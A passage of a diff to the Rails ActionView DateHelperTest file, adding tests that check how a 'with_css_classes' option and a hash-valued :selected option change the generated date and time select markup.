value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="date optional">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {start_year: 2003, end_year: 2005, with_css_classes: { month: 'my-month custom-grid' }}, { class: 'date optional' }) + end + + def test_select_date_with_html_class_option + expected = %(<select id="date_year" name="date[year]" class="date optional custom-grid">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="date optional custom-grid">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="date optional custom-grid">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { start_year: 2003, end_year: 2005 }, { class: 'date optional custom-grid' }) + end + def test_select_datetime expected = %(<select id="date_first_year" name="date[first][year]">\n) expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) @@ -1292,6 +1430,62 @@ class DateHelperTest < ActionView::TestCase :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year', :hour => 'Choose hour', :minute => 'Choose minute'}) end + def test_select_datetime_with_generic_with_css_classes + expected = %(<select id="date_year" name="date[year]" class="year">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + expected << " — " + + expected << %(<select id="date_hour" name="date[hour]" class="hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_minute" name="date[minute]" class="minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, with_css_classes: true) + end + + def test_select_datetime_with_custom_with_css_classes + expected = %(<select id="date_year" name="date[year]" class="my-year">\n) + expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_month" name="date[month]" class="my-month">\n) + expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) + expected << "</select>\n" + + expected << %(<select id="date_day" name="date[day]" class="my-day">\n) + expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n) + expected << "</select>\n" + + expected << " — " + + expected << %(<select id="date_hour" name="date[hour]" class="my-hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_minute" name="date[minute]" class="my-minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, with_css_classes: { day: 'my-day', month: 'my-month', year: 'my-year', hour: 'my-hour', minute: 'my-minute' }) + end + def test_select_datetime_with_custom_hours expected = %(<select id="date_first_year" name="date[first][year]">\n) expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n) @@ -1508,6 +1702,54 @@ class DateHelperTest < ActionView::TestCase :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'}) end + def test_select_time_with_generic_with_css_classes + expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n) + expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n) + expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n) + + expected << %(<select id="date_hour" name="date[hour]" class="hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_minute" name="date[minute]" class="minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_second" name="date[second]" class="second">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, with_css_classes: true) + end + + def test_select_time_with_custom_with_css_classes + expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n) + expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n) + expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n) + + expected << %(<select id="date_hour" name="date[hour]" class="my-hour">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_minute" name="date[minute]" class="my-minute">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="date_second" name="date[second]" class="my-second">\n) + expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n) + expected << "</select>\n" + + assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, with_css_classes: { hour: 'my-hour', minute: 'my-minute', second: 'my-second' }) + end + def test_select_time_with_hidden expected = %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n) expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n) @@ -1559,6 +1801,26 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, date_select("post", "written_on", :selected => Date.new(2004, 07, 10)) end + def test_date_select_with_selected_in_hash + @post = Post.new + @post.written_on = Date.new(2004, 6, 15) + + expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n} + expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n} + expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7" selected="selected">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n} + expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n} + + expected << "</select>\n" + + assert_dom_equal expected, date_select("post", "written_on", :selected => {day: 10, month: 07, year: 2004}) + end + def test_date_select_with_selected_nil @post = Post.new @post.written_on = Date.new(2004, 6, 15) @@ -2016,6 +2278,46 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'}) end + def test_date_select_with_generic_with_css_classes + @post = Post.new + @post.written_on = Date.new(2004, 6, 15) + + expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n} + expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="month">\n} + expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="day">\n} + expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n} + + expected << "</select>\n" + + assert_dom_equal expected, date_select("post", "written_on", with_css_classes: true) + end + + def test_date_select_with_custom_with_css_classes + @post = Post.new + @post.written_on = Date.new(2004, 6, 15) + + expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n} + expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="my-month">\n} + expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="my-day">\n} + expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n} + + expected << "</select>\n" + + assert_dom_equal expected, date_select("post", "written_on", with_css_classes: { year: 'my-year', month: 'my-month', day: 'my-day' }) + end + def test_time_select @post = Post.new @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) @@ -2222,6 +2524,48 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'}) end + def test_time_select_with_generic_with_css_classes + @post = Post.new + @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n} + expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n} + expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n} + + expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="hour">\n) + 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) } + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="minute">\n) + 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) } + expected << "</select>\n" + + assert_dom_equal expected, time_select("post", "written_on", with_css_classes: true) + end + + def test_time_select_with_custom_with_css_classes + @post = Post.new + @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n} + expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n} + expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n} + + expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="my-hour">\n) + 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) } + expected << "</select>\n" + + expected << " : " + + expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="my-minute">\n) + 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) } + expected << "</select>\n" + + assert_dom_equal expected, time_select("post", "written_on", with_css_classes: { hour: 'my-hour', minute: 'my-minute' }) + end + def test_time_select_with_disabled_html_option @post = Post.new @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) @@ -2495,6 +2839,64 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, datetime_select("post", "updated_at", :start_year=>1999, :end_year=>2009, :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day', :hour => 'Choose hour', :minute => 'Choose minute'}) end + def test_datetime_select_with_generic_with_css_classes + @post = Post.new + @post.written_on = Time.local(2004, 6, 15, 15, 16, 35) + + expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n} + expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="month">\n} + expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n} + expected << "</select>\n" + + expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="day">\n} + expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option 